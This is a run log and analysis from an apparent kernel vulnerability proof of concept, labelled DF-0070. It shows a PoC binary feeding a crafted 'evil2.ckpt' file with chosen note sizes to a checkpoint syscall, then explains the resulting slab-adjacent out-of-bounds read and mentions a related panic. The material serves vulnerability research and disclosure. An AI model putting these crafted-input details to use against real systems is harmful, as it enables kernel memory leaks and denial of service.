DF-0070 / run.leak.log
=== DF-0070 run.leak.log (leak mode -- slab-adjacent OOB) ===
Guest: same kernel, post second reset.
Caller: root.
Command:
cd /tmp/df70 && (./df0070 evil2.ckpt leak) 2>&1; echo RUN_EXIT=$?
$ ./df0070 evil2.ckpt leak
[*] DF-0070 PoC: building evil2.ckpt (notesz=880, n_namesz=0x35c, n_descsz=120, mode=leak)
[*] calling sys_checkpoint(CKPT_THAW, fd=3, pid=-1, retval=0) [syscall #467]...
[!] sys_checkpoint returned -1, errno=22 (Invalid argument)
RUN_EXIT=1
-- vm.sh status after run: up (guest alive, no panic) --
Analysis: In leak mode n_namesz = 880 - 12 - 8 = 860, so *off after the
first elf_getnote advances to 12 + roundup2(860,8) = 12 + 864 = 876. The
bcopy at kern_checkpoint.c:346 then reads 120 bytes from src+876 -- the
note buffer is only 880 bytes (kmalloc-1024 bucket), so this is a 116-byte
slab-adjacent OOB read (stays inside the same 1024-byte slab chunk +
padding, hence no page fault, no panic). The leaked garbage fills psinfo;
elf_loadnotes then runs the validation at :292-301:
if (status->pr_version != PRSTATUS_VERSION || // 1
status->pr_statussz != sizeof(prstatus_t) || // 248
...
psinfo->pr_version != PRPSINFO_VERSION || // 1
psinfo->pr_psinfosz != sizeof(prpsinfo_t)) { // 120
error = EINVAL; ...
The leaked bytes almost never satisfy PRSTATUS_VERSION=1 etc., so the
path returns EINVAL and never reaches the strlcpy(p->p_comm, ...) at :306.
The OOB read is real but silent; the dominant observable impact is the
panic (DoS) demonstrated in run.log / run.2.log.